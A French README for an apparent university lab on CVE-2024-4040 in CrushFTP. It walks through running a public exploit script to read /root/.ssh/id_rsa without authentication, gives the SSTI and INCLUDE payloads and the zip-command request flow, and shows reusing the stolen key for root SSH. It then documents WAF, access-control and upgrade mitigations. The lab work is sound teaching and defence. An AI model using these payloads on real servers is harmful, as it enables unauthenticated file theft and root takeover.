
Preuve de concept pour CVE-2024-4040 (CrushFTP SSTI -> LFI non authentifié) dans un environnement de laboratoire contrôlé CS443 - pour usage éducatif et autorisé uniquement.
| Champ | Détail |
|---|
| CVE | CVE-2024-4040 |
| Logiciel affecté | CrushFTP < 10.7.1 (branche v10) / < 11.1.0 (branche v11) |
| Type de vulnérabilité | Injection de template côté serveur (SSTI) → Lecture de fichier local non authentifiée |
| Score CVSS | 9.8 Critique |
| Impact | Des attaquants non authentifiés peuvent lire des fichiers arbitraires du système de fichiers du serveur |
Le WebInterface de CrushFTP évalue des expressions de template dans le paramètre path de la commande zip sans assainissement. Un attaquant non authentifié peut obtenir des cookies de session anonymes, puis utiliser ces cookies pour transmettre des charges utiles de template ({working_dir}, <INCLUDE>…</INCLUDE>) que le serveur évalue et renvoie — permettant une lecture de fichier arbitraire sur l'hôte.
| Composant | Valeur |
|---|---|
| Cible | http://localhost:8080 |
| Version PoC de base CrushFTP | 10.3.0 (volontairement vulnérable) |
| Environnement de test Mitigation 3 | Conteneur distinct exécutant CrushFTP 11.x (branche corrigée) |
| Port SSH (conteneur) | 2222 → 22 |
| Identifiants administrateur | admin / admin |
| Runtime du conteneur | Docker (Compose) |
pip install requests rich
| Script | Source | Objectif |
|---|---|---|
crushed.py | Stuub/CVE-2024-4040-SSTI-LFI-PoC | Exploit SSTI/LFI complet — vol de session, lecture de fichier arbitraire |
recon.py | Ce dépôt | Détection de version, sondage SSTI en direct, confirmation de vulnérabilité |
docker-compose up -d
Attendez environ 10 secondes que CrushFTP s'initialise complètement avant d'exécuter les scripts.
Aucune étape de reconnaissance séparée n'est nécessaire ici car crushed.py vérifie déjà si l'exploitation est possible pendant son exécution.
python crushed.py -t http://localhost:8080 -l /root/.ssh/id_rsa
Le script va :
CrushAuth / currentAuth depuis /WebInterface/{working_dir} pour résoudre le répertoire d'installation de CrushFTP<INCLUDE>/root/.ssh/id_rsa</INCLUDE> pour lire le fichier cibleCopiez le bloc de clé privée depuis la sortie (tout depuis -----BEGIN OPENSSH PRIVATE KEY----- jusqu'à -----END OPENSSH PRIVATE KEY-----).
cat > stolen_id_rsa << 'EOF'
-----BEGIN OPENSSH PRIVATE KEY-----
<collez la clé depuis la sortie>
-----END OPENSSH PRIVATE KEY-----
EOF
chmod 600 stolen_id_rsa
ssh -i stolen_id_rsa root@localhost -p 2222 -o StrictHostKeyChecking=no
whoami
# Attendu : root
id
# Attendu : uid=0(root) gid=0(root) groups=0(root)
hostname
# Attendu : <container_id>
Attaquant non authentifié
│
▼
GET /WebInterface/ ← obtient les cookies anonymes CrushAuth + currentAuth
│
▼
POST /WebInterface/function/
?command=zip
&path={hostname} ← SSTI confirmé — template évalué par le serveur
│
▼
POST /WebInterface/function/
?command=zip
&path={working_dir} ← divulgue le chemin d'installation absolu
│
▼
POST /WebInterface/function/
?command=zip
&path=<INCLUDE>/root/.ssh/id_rsa</INCLUDE> ← lecture de fichier arbitraire
│
▼
SSH -i stolen_id_rsa root@localhost -p 2222 ← shell root complet
| Problème | Emplacement | Détails |
|---|---|---|
| Dépendance manquante | Lignes 6–9 | Nécessite pip install rich avant l'exécution |
| Analyse XML fragile | Lignes 86, 140 | Plante sur les réponses serveur non XML ; pas de gestion ParseError |
| Regex de jeton trop stricte | Lignes 160–161 | Le motif CrushAuth=…; currentAuth=… peut ne pas correspondre à tous les formats sessions.obj |
| HTTP 404 uniquement | Ligne 53 | La récupération de cookie ne réussit que sur 404 ; passe silencieusement sur d'autres codes |
Un pare-feu applicatif Web (WAF) agit comme un proxy inverse qui inspecte le trafic HTTP/S entrant avant qu'il n'atteigne CrushFTP. En utilisant NGINX avec ModSecurity, les requêtes malveillantes exploitant CVE-2024-4040 sont bloquées en périphérie réseau sans modifier CrushFTP lui-même.
../, %2e%2e) dans les URI et cookies de requêteUtilisez Mitigation 1/docker-compose.yaml :
services:
crushftp:
build: .
expose:
- "8080"
ports:
- "2222:22"
nginx:
image: nginx:latest
ports:
- "8080:80"
volumes:
- ./nginx.conf:/etc/nginx/nginx.conf
depends_on:
- crushftp
Utilisez Mitigation 1/nginx.conf :
worker_processes 1;
events {
worker_connections 1024;
}
http {
# Activer ModSecurity
modsecurity on;
modsecurity_rules_file /etc/modsecurity.d/setup.conf;
upstream crushftp {
server crushftp:8080;
}
server {
listen 80;
server_name localhost;
# Proxy tout le trafic vers CrushFTP
location / {
proxy_pass http://crushftp;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Forwarded-Proto $scheme;
}
# Renvoyer 403 pour les requêtes bloquées
error_page 403 /403.html;
location = /403.html {
return 403 '{"error": "Requête bloquée par le WAF"}';
}
}
}
Attaquant -> NGINX WAF (port 80) -> bloque malveillant -> 403 Interdit
-> forwarde propre -> CrushFTP:8080
CVE-2024-4040 est exploitable sans authentification. Dans ce laboratoire, l'accès de type anonyme est bloqué au niveau NGINX en exigeant un en-tête Authorization avant de proxyer les routes sensibles vers CrushFTP.
crushed.py reposent sur un accès non authentifié ; les requêtes sans identifiants sont rejetées avec 401/WebInterface/ et / sont refusées sauf si des données d'authentification sont présentesservices:
crushftp:
build: .
expose:
- "8080"
ports:
- "2222:22"
nginx:
image: nginx:latest
ports:
- "8080:80"
volumes:
- ./nginx.conf:/etc/nginx/nginx.conf
depends_on:
- crushftp
events {}
http {
server {
listen 80;
# Autoriser les ressources statiques sans authentification
location ~* \.(css|js|png|jpg|ico|gif)$ {
proxy_pass http://crushftp:8080;
proxy_set_header Host $host;
}
# Bloquer l'accès non authentifié à WebInterface
location /WebInterface/ {
if ($http_authorization = "") {
return 401 "Authentification requise - Sessions anonymes désactivées";
}
proxy_pass http://crushftp:8080;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header Authorization $http_authorization;
}
# Bloquer tout le reste non authentifié
location / {
if ($http_authorization = "") {
return 401 "Authentification requise";
}
proxy_pass http://crushftp:8080;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
}
}
}
# Confirmer que la requête non authentifiée est rejetée par NGINX
curl -v http://localhost:8080/WebInterface/function/?command=getUsername
# Attendu : 401 Non autorisé
# Optionnel : la requête authentifiée doit être forwardée
curl -v -u "admin:admin" http://localhost:8080/WebInterface/function/?command=getUsername
La mise à niveau vers CrushFTP 11 est le correctif le plus efficace et permanent. Le correctif ajoute une validation stricte des entrées sur la résolution de chemin VFS, éliminant la cause racine de CVE-2024-4040.
crushed.py ne fonctionnent plus contre la version 11Mettez à jour votre Dockerfile pour utiliser CrushFTP 11 :
FROM eclipse-temurin:21-jdk-jammy
WORKDIR /var/opt
RUN apt-get update -y && apt-get -y install unzip wget openssh-server
COPY CrushFTP11.zip .
RUN unzip CrushFTP11.zip
EXPOSE 21
EXPOSE 8080
EXPOSE 443
EXPOSE 22
WORKDIR /var/opt/CrushFTP11
RUN java -Xmx1024m -jar CrushFTP.jar -a "admin" "admin"
CMD service ssh start && java -Xmx1024m -jar CrushFTP.jar -d
Reconstruisez le conteneur :
docker-compose down --rmi all
docker-compose build --no-cache
docker-compose up -d
# Exécutez l'exploit contre v11 — doit échouer
# Note : le script de ce dépôt utilise -t/--target.
python3 crushed.py -t http://localhost:8080
# Attendu : l'exploit ne renvoie aucune sortie ou une erreur de connexion